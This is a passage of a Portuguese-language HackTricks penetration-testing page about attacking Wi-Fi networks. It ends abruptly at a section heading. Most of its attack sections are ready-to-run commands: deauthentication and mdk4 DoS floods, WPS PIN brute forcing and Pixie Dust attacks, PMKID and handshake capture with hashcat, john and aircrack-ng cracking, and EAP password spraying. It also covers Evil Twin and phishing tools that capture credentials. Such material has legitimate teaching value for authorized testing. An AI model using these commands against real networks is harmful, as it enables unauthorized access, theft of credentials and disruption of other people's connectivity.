mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-23 19:43:31 +00:00
762 lines
50 KiB
Markdown
762 lines
50 KiB
Markdown
# Pentesting Wifi
|
|
|
|
{% hint style="success" %}
|
|
Aprenda e pratique Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Aprenda e pratique Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Junte-se ao [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de bugs!
|
|
|
|
**Insights de Hacking**\
|
|
Engaje-se com conteúdo que explora a emoção e os desafios do hacking
|
|
|
|
**Notícias de Hacking em Tempo Real**\
|
|
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
|
|
|
|
**Últimos Anúncios**\
|
|
Fique informado sobre os novos programas de recompensas por bugs lançados e atualizações cruciais da plataforma
|
|
|
|
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
|
|
|
|
## Wifi comandos básicos
|
|
```bash
|
|
ip link show #List available interfaces
|
|
iwconfig #List available interfaces
|
|
airmon-ng check kill #Kill annoying processes
|
|
airmon-ng start wlan0 #Monitor mode
|
|
airmon-ng stop wlan0mon #Managed mode
|
|
airodump-ng wlan0mon #Scan (default 2.4Ghz)
|
|
airodump-ng wlan0mon --band a #Scan 5Ghz
|
|
airodump-ng wlan0mon --wps #Scan WPS
|
|
iwconfig wlan0 mode monitor #Put in mode monitor
|
|
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
|
|
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
|
|
iwlist wlan0 scan #Scan available wifis
|
|
```
|
|
## Ferramentas
|
|
|
|
### EAPHammer
|
|
```
|
|
git clone https://github.com/s0lst1c3/eaphammer.git
|
|
./kali-setup
|
|
```
|
|
### Airgeddon
|
|
```bash
|
|
mv `which dhcpd` `which dhcpd`.old
|
|
apt install isc-dhcp-server
|
|
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe
|
|
```
|
|
**Execute airgeddon com docker**
|
|
```bash
|
|
docker run \
|
|
--rm \
|
|
-ti \
|
|
--name airgeddon \
|
|
--net=host \
|
|
--privileged \
|
|
-p 3000:3000 \
|
|
-v /tmp:/io \
|
|
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
|
|
v1s1t0r1sh3r3/airgeddon
|
|
```
|
|
From: [https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux](https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux)
|
|
|
|
### wifiphisher
|
|
|
|
Ele pode realizar ataques Evil Twin, KARMA e Known Beacons e, em seguida, usar um modelo de phishing para conseguir obter a senha real da rede ou capturar credenciais de redes sociais.
|
|
```bash
|
|
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
|
|
cd wifiphisher # Switch to tool's directory
|
|
sudo python setup.py install # Install any dependencies
|
|
```
|
|
### [Wifite2](https://github.com/derv82/wifite2)
|
|
|
|
Esta ferramenta automatiza ataques **WPS/WEP/WPA-PSK**. Ela irá automaticamente:
|
|
|
|
* Definir a interface em modo monitor
|
|
* Escanear redes possíveis - E permitir que você selecione a(s) vítima(s)
|
|
* Se WEP - Lançar ataques WEP
|
|
* Se WPA-PSK
|
|
* Se WPS: ataque Pixie dust e o ataque de força bruta (tenha cuidado, o ataque de força bruta pode demorar muito). Observe que não tenta PINs nulos ou PINs gerados/banco de dados.
|
|
* Tentar capturar o PMKID do AP para quebrá-lo
|
|
* Tentar desautenticar clientes do AP para capturar um handshake
|
|
* Se PMKID ou Handshake, tentar força bruta usando as 5000 senhas mais comuns.
|
|
|
|
## Resumo de Ataques
|
|
|
|
* **DoS**
|
|
* Desautenticação/desassociação -- Desconectar todos (ou um ESSID/Cliente específico)
|
|
* APs falsos aleatórios -- Ocultar redes, possível travamento de scanners
|
|
* Sobrecarga do AP -- Tentar derrubar o AP (geralmente não muito útil)
|
|
* WIDS -- Brincar com o IDS
|
|
* TKIP, EAPOL -- Alguns ataques específicos para DoS em alguns APs
|
|
* **Quebra**
|
|
* Quebrar **WEP** (várias ferramentas e métodos)
|
|
* **WPA-PSK**
|
|
* **WPS** pin "Força Bruta"
|
|
* **WPA PMKID** força bruta
|
|
* \[DoS +] **Captura de handshake WPA** + Quebra
|
|
* **WPA-MGT**
|
|
* **Captura de Nome de Usuário**
|
|
* **Força Bruta** Credenciais
|
|
* **Evil Twin** (com ou sem DoS)
|
|
* **Open** Evil Twin \[+ DoS] -- Útil para capturar credenciais de portal cativo e/ou realizar ataques LAN
|
|
* **WPA-PSK** Evil Twin -- Útil para ataques de rede se você souber a senha
|
|
* **WPA-MGT** -- Útil para capturar credenciais de empresa
|
|
* **KARMA, MANA**, **Loud MANA**, **Beacon conhecido**
|
|
* **+ Open** -- Útil para capturar credenciais de portal cativo e/ou realizar ataques LAN
|
|
* **+ WPA** -- Útil para capturar handshakes WPA
|
|
|
|
## DOS
|
|
|
|
### Pacotes de Desautenticação
|
|
|
|
**Descrição de** [**aqui**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
|
|
|
|
Ataques de **desautenticação**, um método prevalente em hacking Wi-Fi, envolvem forjar quadros de "gerenciamento" para **desconectar forçosamente dispositivos de uma rede**. Esses pacotes não criptografados enganam os clientes, fazendo-os acreditar que são da rede legítima, permitindo que os atacantes coletem handshakes WPA para fins de quebra ou para interromper persistentemente as conexões de rede. Essa tática, alarmante em sua simplicidade, é amplamente utilizada e tem implicações significativas para a segurança da rede.
|
|
|
|
**Desautenticação usando Aireplay-ng**
|
|
```
|
|
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
|
|
```
|
|
* -0 significa desautenticação
|
|
* 1 é o número de desautenticações a enviar (você pode enviar várias se desejar); 0 significa enviá-las continuamente
|
|
* -a 00:14:6C:7E:40:80 é o endereço MAC do ponto de acesso
|
|
* -c 00:0F:B5:34:30:30 é o endereço MAC do cliente a ser desautenticado; se isso for omitido, então a desautenticação em broadcast é enviada (nem sempre funciona)
|
|
* ath0 é o nome da interface
|
|
|
|
### Pacotes de Desassociação
|
|
|
|
**Pacotes de desassociação**, semelhantes aos pacotes de desautenticação, são um tipo de quadro de gerenciamento usado em redes Wi-Fi. Esses pacotes servem para romper a conexão entre um dispositivo (como um laptop ou smartphone) e um ponto de acesso (AP). A principal distinção entre desassociação e desautenticação reside em seus cenários de uso. Enquanto um AP emite **pacotes de desautenticação para remover dispositivos indesejados explicitamente da rede, pacotes de desassociação são tipicamente enviados quando o AP está passando por um desligamento**, reinicialização ou relocação, necessitando assim a desconexão de todos os nós conectados.
|
|
|
|
**Este ataque pode ser realizado pelo mdk4(modo "d"):**
|
|
```bash
|
|
# -c <channel>
|
|
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
|
|
# -e WifiName is the name of the wifi
|
|
# -B BSSID is the BSSID of the AP
|
|
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
|
|
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
|
|
```
|
|
### **Mais ataques DOS pelo mdk4**
|
|
|
|
**Em** [**aqui**](https://en.kali.tools/?p=864)**.**
|
|
|
|
**MODO DE ATAQUE b: Inundação de Beacon**
|
|
|
|
Envia quadros de beacon para mostrar APs falsos aos clientes. Isso pode, às vezes, travar scanners de rede e até mesmo drivers!
|
|
```bash
|
|
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
|
|
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
|
|
# -m use real BSSIDS
|
|
# All the parameters are optional and you could load ESSIDs from a file
|
|
mdk4 wlan0mon b -a -w nta -m
|
|
```
|
|
**MODO DE ATAQUE a: Negação de Serviço de Autenticação**
|
|
|
|
Enviar quadros de autenticação para todos os Pontos de Acesso (APs) acessíveis dentro do alcance pode sobrecarregar esses APs, especialmente quando numerosos clientes estão envolvidos. Esse tráfego intenso pode levar à instabilidade do sistema, fazendo com que alguns APs congelem ou até mesmo reiniciem.
|
|
```bash
|
|
# -a BSSID send random data from random clients to try the DoS
|
|
# -i BSSID capture and repeat pakets from authenticated clients
|
|
# -m use real MACs
|
|
# only -a or -i can be used
|
|
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
|
|
```
|
|
**MODO DE ATAQUE p: Probing de SSID e Bruteforcing**
|
|
|
|
Probing de Pontos de Acesso (APs) verifica se um SSID está devidamente revelado e confirma o alcance do AP. Esta técnica, combinada com **bruteforcing de SSIDs ocultos** com ou sem uma lista de palavras, ajuda a identificar e acessar redes ocultas.
|
|
|
|
**MODO DE ATAQUE m: Exploração de Contramedidas Michael**
|
|
|
|
Enviar pacotes aleatórios ou duplicados para diferentes filas de QoS pode acionar as Contramedidas Michael em **APs TKIP**, levando a uma interrupção do AP por um minuto. Este método é uma tática eficiente de ataque **DoS** (Negação de Serviço).
|
|
```bash
|
|
# -t <BSSID> of a TKIP AP
|
|
# -j use inteligent replay to create the DoS
|
|
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
|
|
```
|
|
**MODO DE ATAQUE e: Injeção de Pacotes EAPOL Start e Logoff**
|
|
|
|
Inundar um AP com **frames EAPOL Start** cria **sessões falsas**, sobrecarregando o AP e bloqueando clientes legítimos. Alternativamente, injetar **mensagens EAPOL Logoff falsas** desconecta forçadamente os clientes, ambos os métodos interrompem efetivamente o serviço de rede.
|
|
```bash
|
|
# Use Logoff messages to kick clients
|
|
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
|
|
```
|
|
**MODO DE ATAQUE s: Ataques para redes mesh IEEE 802.11s**
|
|
|
|
Vários ataques à gestão de links e roteamento em redes mesh.
|
|
|
|
**MODO DE ATAQUE w: Confusão WIDS**
|
|
|
|
Conectar clientes a múltiplos nós WDS ou APs falsos pode manipular Sistemas de Detecção e Prevenção de Intrusões, criando confusão e potencial abuso do sistema.
|
|
```bash
|
|
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
|
|
mkd4 -e <SSID> -c <channel> [-z]
|
|
```
|
|
**MODO DE ATAQUE f: Fuzzing de Pacotes**
|
|
|
|
Um fuzzing de pacotes com diversas fontes de pacotes e um conjunto abrangente de modificadores para manipulação de pacotes.
|
|
|
|
### **Airggedon**
|
|
|
|
_**Airgeddon**_ oferece a maioria dos ataques propostos nos comentários anteriores:
|
|
|
|
.png>)
|
|
|
|
## WPS
|
|
|
|
WPS (Wi-Fi Protected Setup) simplifica o processo de conectar dispositivos a um roteador, aumentando a velocidade e a facilidade de configuração para redes criptografadas com **WPA** ou **WPA2** Pessoal. É ineficaz para a segurança WEP, que é facilmente comprometida. O WPS utiliza um PIN de 8 dígitos, validado em duas metades, tornando-o suscetível a ataques de força bruta devido ao seu número limitado de combinações (11.000 possibilidades).
|
|
|
|
### WPS Bruteforce
|
|
|
|
Existem 2 ferramentas principais para realizar essa ação: Reaver e Bully.
|
|
|
|
* **Reaver** foi projetado para ser um ataque robusto e prático contra o WPS, e foi testado contra uma ampla variedade de pontos de acesso e implementações de WPS.
|
|
* **Bully** é uma **nova implementação** do ataque de força bruta WPS, escrita em C. Tem várias vantagens sobre o código original do reaver: menos dependências, melhor desempenho de memória e CPU, tratamento correto de endianness e um conjunto de opções mais robusto.
|
|
|
|
O ataque explora a **vulnerabilidade do PIN WPS**, particularmente sua exposição dos primeiros quatro dígitos e o papel do último dígito como um checksum, facilitando o ataque de força bruta. No entanto, defesas contra ataques de força bruta, como **bloquear endereços MAC** de atacantes agressivos, exigem **rotação de endereços MAC** para continuar o ataque.
|
|
|
|
Após obter o PIN WPS com ferramentas como Bully ou Reaver, o atacante pode deduzir o WPA/WPA2 PSK, garantindo **acesso persistente à rede**.
|
|
```bash
|
|
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
|
|
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
|
|
```
|
|
**Força Bruta Inteligente**
|
|
|
|
Esta abordagem refinada visa os PINs WPS usando vulnerabilidades conhecidas:
|
|
|
|
1. **PINs pré-descobertos**: Utilize um banco de dados de PINs conhecidos vinculados a fabricantes específicos que usam PINs WPS uniformes. Este banco de dados correlaciona os três primeiros octetos dos endereços MAC com os PINs prováveis para esses fabricantes.
|
|
2. **Algoritmos de Geração de PIN**: Aproveite algoritmos como ComputePIN e EasyBox, que calculam PINs WPS com base no endereço MAC do AP. O algoritmo Arcadyan também requer um ID de dispositivo, adicionando uma camada ao processo de geração de PIN.
|
|
|
|
### Ataque WPS Pixie Dust
|
|
|
|
**Dominique Bongard** descobriu uma falha em alguns Pontos de Acesso (APs) relacionada à criação de códigos secretos, conhecidos como **nonces** (**E-S1** e **E-S2**). Se esses nonces puderem ser descobertos, quebrar o PIN WPS do AP se torna fácil. O AP revela o PIN dentro de um código especial (hash) para provar que é legítimo e não um AP falso (rogue). Esses nonces são essencialmente as "chaves" para desbloquear o "cofre" que contém o PIN WPS. Mais sobre isso pode ser encontrado [aqui](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\)).
|
|
|
|
Em termos simples, o problema é que alguns APs não usaram chaves suficientemente aleatórias para criptografar o PIN durante o processo de conexão. Isso torna o PIN vulnerável a ser adivinhado de fora da rede (ataque de força bruta offline).
|
|
```bash
|
|
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
|
|
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
|
|
```
|
|
Se você não quiser mudar o dispositivo para o modo monitor, ou se `reaver` e `bully` tiverem algum problema, você pode tentar [OneShot-C](https://github.com/nikita-yfh/OneShot-C). Esta ferramenta pode realizar o ataque Pixie Dust sem precisar mudar para o modo monitor.
|
|
```bash
|
|
./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37
|
|
```
|
|
### Ataque de Null Pin
|
|
|
|
Alguns sistemas mal projetados permitem até um **Null PIN** (um PIN vazio ou inexistente) conceder acesso, o que é bastante incomum. A ferramenta **Reaver** é capaz de testar essa vulnerabilidade, ao contrário do **Bully**.
|
|
```bash
|
|
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
|
|
```
|
|
### Airgeddon
|
|
|
|
Todos os ataques WPS propostos podem ser facilmente realizados usando _**airgeddon.**_
|
|
|
|
.png>)
|
|
|
|
* 5 e 6 permitem que você tente **seu PIN personalizado** (se você tiver algum)
|
|
* 7 e 8 realizam o **ataque Pixie Dust**
|
|
* 13 permite que você teste o **PIN NULO**
|
|
* 11 e 12 irão **recolher os PINs relacionados ao AP selecionado de bancos de dados disponíveis** e **gerar** possíveis **PINs** usando: ComputePIN, EasyBox e opcionalmente Arcadyan (recomendado, por que não?)
|
|
* 9 e 10 irão testar **todos os PINs possíveis**
|
|
|
|
## **WEP**
|
|
|
|
Tão quebrado e não utilizado atualmente. Apenas saiba que _**airgeddon**_ tem uma opção WEP chamada "All-in-One" para atacar esse tipo de proteção. Mais ferramentas oferecem opções semelhantes.
|
|
|
|
.png>)
|
|
|
|
***
|
|
|
|
<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de bugs!
|
|
|
|
**Insights de Hacking**\
|
|
Engaje-se com conteúdo que mergulha na emoção e nos desafios do hacking
|
|
|
|
**Notícias de Hack em Tempo Real**\
|
|
Mantenha-se atualizado com o mundo do hacking em ritmo acelerado através de notícias e insights em tempo real
|
|
|
|
**Últimos Anúncios**\
|
|
Fique informado sobre os novos programas de recompensas por bugs lançados e atualizações cruciais da plataforma
|
|
|
|
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
|
|
|
|
***
|
|
|
|
## WPA/WPA2 PSK
|
|
|
|
### PMKID
|
|
|
|
Em 2018, **hashcat** [revelou](https://hashcat.net/forum/thread-7717.html) um novo método de ataque, único porque precisa apenas de **um único pacote** e não requer que nenhum cliente esteja conectado ao AP alvo—apenas interação entre o atacante e o AP.
|
|
|
|
Muitos roteadores modernos adicionam um **campo opcional** ao **primeiro quadro EAPOL** durante a associação, conhecido como `Robust Security Network`. Isso inclui o `PMKID`.
|
|
|
|
Como explica a postagem original, o **PMKID** é criado usando dados conhecidos:
|
|
```bash
|
|
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
|
|
```
|
|
Dado que o "Nome PMK" é constante, sabemos o BSSID do AP e da estação, e o `PMK` é idêntico ao de um handshake completo de 4 vias, **hashcat** pode usar essas informações para quebrar o PSK e recuperar a frase de acesso!
|
|
|
|
Para **coletar** essas informações e **bruteforçar** localmente a senha, você pode fazer:
|
|
```bash
|
|
airmon-ng check kill
|
|
airmon-ng start wlan0
|
|
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
|
|
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
|
|
```
|
|
|
|
```bash
|
|
#You can also obtains PMKIDs using eaphammer
|
|
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
|
|
```
|
|
Os **PMKIDs capturados** serão exibidos no **console** e também **salvos** dentro de \_ **/tmp/attack.pcap**\_\
|
|
Agora, converta a captura para o formato **hashcat/john** e quebre-a:
|
|
```bash
|
|
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
|
|
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
|
|
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
|
|
```
|
|
Por favor, note que o formato de um hash correto contém **4 partes**, como: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` Se o seu **somente** contém **3 partes**, então, é **inválido** (a captura do PMKID não era válida).
|
|
|
|
Note que `hcxdumptool` **também captura handshakes** (algo como isso aparecerá: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Você pode **transformar** os **handshakes** para o formato **hashcat**/**john** usando `cap2hccapx`
|
|
```bash
|
|
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
|
|
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
|
|
hccap2john pmkid.hccapx > handshake.john
|
|
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
|
|
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
|
|
```
|
|
_Eu notei que alguns handshakes capturados com esta ferramenta não puderam ser quebrados mesmo sabendo a senha correta. Eu recomendaria capturar handshakes também de forma tradicional, se possível, ou capturar vários deles usando esta ferramenta._
|
|
|
|
### Captura de handshake
|
|
|
|
Um ataque a redes **WPA/WPA2** pode ser executado capturando um **handshake** e tentando **crackear** a senha **offline**. Este processo envolve monitorar a comunicação de uma rede específica e **BSSID** em um **canal** particular. Aqui está um guia simplificado:
|
|
|
|
1. Identifique o **BSSID**, **canal** e um **cliente conectado** da rede alvo.
|
|
2. Use `airodump-ng` para monitorar o tráfego da rede no canal e BSSID especificados, esperando capturar um handshake. O comando ficará assim:
|
|
```bash
|
|
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
|
|
```
|
|
3. Para aumentar a chance de capturar um handshake, desconecte momentaneamente o cliente da rede para forçar uma reautenticação. Isso pode ser feito usando o comando `aireplay-ng`, que envia pacotes de desautenticação para o cliente:
|
|
```bash
|
|
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
|
|
```
|
|
_Note que, como o cliente foi desautenticado, ele pode tentar se conectar a um AP diferente ou, em outros casos, a uma rede diferente._
|
|
|
|
Uma vez que no `airodump-ng` aparece alguma informação de handshake, isso significa que o handshake foi capturado e você pode parar de escutar:
|
|
|
|
 (1).png>)
|
|
|
|
Uma vez que o handshake é capturado, você pode **crackear** com `aircrack-ng`:
|
|
```
|
|
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
|
|
```
|
|
### Verifique se o handshake está no arquivo
|
|
|
|
**aircrack**
|
|
```bash
|
|
aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture
|
|
```
|
|
**tshark**
|
|
```bash
|
|
tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.
|
|
```
|
|
[**cowpatty**](https://github.com/roobixx/cowpatty)
|
|
```
|
|
cowpatty -r psk-01.cap -s "ESSID" -f -
|
|
```
|
|
_Se esta ferramenta encontrar um handshake incompleto de um ESSID antes do completo, ela não detectará o válido._
|
|
|
|
**pyrit**
|
|
```bash
|
|
apt-get install pyrit #Not working for newer versions of kali
|
|
pyrit -r psk-01.cap analyze
|
|
```
|
|
## **WPA Enterprise (MGT)**
|
|
|
|
Em **configurações de WiFi empresarial, você encontrará vários métodos de autenticação**, cada um oferecendo diferentes níveis de segurança e recursos de gerenciamento. Quando você usa ferramentas como `airodump-ng` para inspecionar o tráfego da rede, pode notar identificadores para esses tipos de autenticação. Alguns métodos comuns incluem:
|
|
```
|
|
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
|
|
```
|
|
1. **EAP-GTC (Generic Token Card)**:
|
|
* Este método suporta tokens de hardware e senhas de uso único dentro do EAP-PEAP. Ao contrário do MSCHAPv2, ele não usa um desafio de par e envia senhas em texto claro para o ponto de acesso, apresentando um risco para ataques de downgrade.
|
|
2. **EAP-MD5 (Message Digest 5)**:
|
|
* Envolve o envio do hash MD5 da senha do cliente. **Não é recomendado** devido à vulnerabilidade a ataques de dicionário, falta de autenticação do servidor e incapacidade de gerar chaves WEP específicas para a sessão.
|
|
3. **EAP-TLS (Transport Layer Security)**:
|
|
* Utiliza certificados tanto do lado do cliente quanto do lado do servidor para autenticação e pode gerar dinamicamente chaves WEP baseadas em usuário e sessão para proteger as comunicações.
|
|
4. **EAP-TTLS (Tunneled Transport Layer Security)**:
|
|
* Fornece autenticação mútua através de um túnel criptografado, juntamente com um método para derivar chaves WEP dinâmicas, por usuário e por sessão. Ele requer apenas certificados do lado do servidor, com os clientes usando credenciais.
|
|
5. **PEAP (Protected Extensible Authentication Protocol)**:
|
|
* Funciona de forma semelhante ao EAP, criando um túnel TLS para comunicação protegida. Permite o uso de protocolos de autenticação mais fracos em cima do EAP devido à proteção oferecida pelo túnel.
|
|
* **PEAP-MSCHAPv2**: Frequentemente referido como PEAP, combina o vulnerável mecanismo de desafio/resposta MSCHAPv2 com um túnel TLS protetor.
|
|
* **PEAP-EAP-TLS (ou PEAP-TLS)**: Semelhante ao EAP-TLS, mas inicia um túnel TLS antes de trocar certificados, oferecendo uma camada adicional de segurança.
|
|
|
|
Você pode encontrar mais informações sobre esses métodos de autenticação [aqui](https://en.wikipedia.org/wiki/Extensible_Authentication_Protocol) e [aqui](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html).
|
|
|
|
### Captura de Nome de Usuário
|
|
|
|
Lendo [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27), parece que se você estiver usando **EAP**, as **mensagens de "Identidade"** devem ser **suportadas**, e o **nome de usuário** será enviado em **claro** nas mensagens de **"Resposta de Identidade"**.
|
|
|
|
Mesmo usando um dos métodos de autenticação mais seguros: **PEAP-EAP-TLS**, é possível **capturar o nome de usuário enviado no protocolo EAP**. Para fazer isso, **capture uma comunicação de autenticação** (inicie `airodump-ng` dentro de um canal e `wireshark` na mesma interface) e filtre os pacotes por `eapol`.\
|
|
Dentro do pacote "**Resposta, Identidade**", o **nome de usuário** do cliente aparecerá.
|
|
|
|
.png>)
|
|
|
|
### Identidades Anônimas
|
|
|
|
A ocultação de identidade é suportada tanto pelo EAP-PEAP quanto pelo EAP-TTLS. No contexto de uma rede WiFi, uma solicitação de EAP-Identidade é tipicamente iniciada pelo ponto de acesso (AP) durante o processo de associação. Para garantir a proteção do anonimato do usuário, a resposta do cliente EAP no dispositivo do usuário contém apenas as informações essenciais necessárias para que o servidor RADIUS inicial processe a solicitação. Este conceito é ilustrado através dos seguintes cenários:
|
|
|
|
* EAP-Identidade = anônimo
|
|
* Neste cenário, todos os usuários utilizam o pseudônimo "anônimo" como seu identificador de usuário. O servidor RADIUS inicial funciona como um servidor EAP-PEAP ou EAP-TTLS, responsável por gerenciar o lado do servidor do protocolo PEAP ou TTLS. O método de autenticação interno (protegido) é então tratado localmente ou delegado a um servidor RADIUS remoto (doméstico).
|
|
* EAP-Identidade = anônimo@realm\_x
|
|
* Nesta situação, usuários de diferentes domínios ocultam suas identidades enquanto indicam seus respectivos domínios. Isso permite que o servidor RADIUS inicial faça proxy das solicitações EAP-PEAP ou EAP-TTLS para servidores RADIUS em seus domínios domésticos, que atuam como o servidor PEAP ou TTLS. O servidor RADIUS inicial opera apenas como um nó de retransmissão RADIUS.
|
|
* Alternativamente, o servidor RADIUS inicial pode funcionar como o servidor EAP-PEAP ou EAP-TTLS e tratar o método de autenticação protegido ou encaminhá-lo para outro servidor. Esta opção facilita a configuração de políticas distintas para vários domínios.
|
|
|
|
No EAP-PEAP, uma vez que o túnel TLS é estabelecido entre o servidor PEAP e o cliente PEAP, o servidor PEAP inicia uma solicitação de EAP-Identidade e a transmite através do túnel TLS. O cliente responde a esta segunda solicitação de EAP-Identidade enviando uma resposta de EAP-Identidade contendo a verdadeira identidade do usuário através do túnel criptografado. Esta abordagem efetivamente impede a revelação da verdadeira identidade do usuário para qualquer um que esteja espionando o tráfego 802.11.
|
|
|
|
O EAP-TTLS segue um procedimento ligeiramente diferente. Com o EAP-TTLS, o cliente normalmente se autentica usando PAP ou CHAP, protegido pelo túnel TLS. Neste caso, o cliente inclui um atributo User-Name e um atributo Password ou CHAP-Password na mensagem TLS inicial enviada após o estabelecimento do túnel.
|
|
|
|
Independentemente do protocolo escolhido, o servidor PEAP/TTLS obtém conhecimento da verdadeira identidade do usuário após o túnel TLS ter sido estabelecido. A verdadeira identidade pode ser representada como user@realm ou simplesmente user. Se o servidor PEAP/TTLS também for responsável por autenticar o usuário, ele agora possui a identidade do usuário e prossegue com o método de autenticação protegido pelo túnel TLS. Alternativamente, o servidor PEAP/TTLS pode encaminhar uma nova solicitação RADIUS para o servidor RADIUS doméstico do usuário. Esta nova solicitação RADIUS omite a camada de protocolo PEAP ou TTLS. Nos casos em que o método de autenticação protegido é EAP, as mensagens EAP internas são transmitidas para o servidor RADIUS doméstico sem a embalagem EAP-PEAP ou EAP-TTLS. O atributo User-Name da mensagem RADIUS de saída contém a verdadeira identidade do usuário, substituindo o User-Name anônimo da solicitação RADIUS de entrada. Quando o método de autenticação protegido é PAP ou CHAP (suportado apenas pelo TTLS), o User-Name e outros atributos de autenticação extraídos da carga útil TLS são substituídos na mensagem RADIUS de saída, deslocando os atributos User-Name anônimo e TTLS EAP-Message encontrados na solicitação RADIUS de entrada.
|
|
|
|
Para mais informações, consulte [https://www.interlinknetworks.com/app\_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm)
|
|
|
|
### EAP-Bruteforce (password spray)
|
|
|
|
Se espera-se que o cliente use um **nome de usuário e senha** (note que **EAP-TLS não será válido** neste caso), então você pode tentar obter uma **lista** de **nomes de usuário** (veja a próxima parte) e **senhas** e tentar **bruteforçar** o acesso usando [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.**
|
|
```bash
|
|
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
|
|
```
|
|
Você também pode realizar este ataque usando `eaphammer`:
|
|
```bash
|
|
./eaphammer --eap-spray \
|
|
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
|
|
--essid example-wifi \
|
|
--password bananas \
|
|
--user-list users.txt
|
|
```
|
|
## Teoria de Ataques ao Cliente
|
|
|
|
### Seleção de Rede e Roaming
|
|
|
|
